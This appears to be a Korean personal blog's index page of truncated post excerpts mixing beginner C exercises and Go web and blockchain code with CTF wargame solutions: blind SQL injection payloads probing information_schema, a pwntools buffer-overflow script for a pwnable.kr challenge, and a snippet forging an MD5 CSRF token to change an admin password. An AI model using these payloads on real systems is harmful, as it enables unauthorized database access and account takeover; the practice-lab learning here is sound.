논리적인 사색가의 글쓰기여행

length((select table_name from infomation_schema.tables where table_schema = 'blind_db' limit 0,1)) = 1 no = 1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'blind_db' limit 0,1),1,1))=115 1 ' or length((select table_name from information_schema.tables where table_schema='WebHackTest' limit 0,1)) >= 1 1' or select DISTINCT TABLE_TYPE from information_sch..

참 쉽죠?

#include int main(void) { int i; int a; int temp; int numArr[1024] = {0,}; scanf("%d", &a); for (i=0; i

from pwn import * ​ r = remote('pwnable.kr', 9000) ​ payload = b'A'*52 payload += b'\xbe\xba\xfe\xca' ​ r.send(payload) r.interactive()

#include ​ int main(void) { int a, b; ​ scanf("%d %d", &a, &b); ​ if (a == 0 || b == 0) { printf("다시 숫자를 입력하세요"); } if (a > 0 && b > 0) { printf("1"); } else if (a > 0 && b 0) { printf("2"); } return 0; }

#include ​ int main(void) { int a, b; ​ scanf("%d %d", &a, &b); ​ if (b >= 45) { b = b - 45; printf("%d %d", a, b); } else if (b < 45) { if (a == 0) { a = 23; b = b + 15; printf("%d %d", a, b); } else { a = a - 1; b = b + 15; printf("%d %d", a, b); } } return 0; }

#include int main(void) { int point; scanf("%d", &point) ; if (point >=90 && point = 80 && point = 70 && point = 60 && point

from hashlib import md5 ​ id = b'admin' ip_addr = b'127.0.0.1' ​ csrf_token = md5(id+ip_addr).hexdigest() ​ print(csrf_token) ​ 이렇게 하면 해당 csrf_token을 얻을 수 있고 이렇게하면 비밀번호까지 변경할 수 있다. ​ admin/1234로 로그인하면 플래그를 얻을 수 있다.

package main ​ import ( "fmt" "log" "net/http" ) ​ const port string = ":4000" ​ func home(rw http.ResponseWriter, r *http.Request) { fmt.Fprint(rw, "hello you're a panda") } ​ func main() { http.HandleFunc("/", home) fmt.Printf("listening on http://localhost%s\n", port) log.Fatal(http.ListenAndServe(port, nil)) }

packageblockchain ​ import( "crypto/sha256" "fmt" "sync" ) ​ typeblockstruct{ data string hash string prevHash string } ​ typeblockchainstruct{ blocks []*block } ​ var b *blockchain var once sync.Once ​ func(b *block)calculateHash(){ hash := sha256.Sum256([]byte(b.data + b.prevHash)) b.hash = fmt.Sprintf("%x", hash) } ​ funcgetLastHash()string{ totalBlocks :=len(GetblockChain().blocks) if totalB..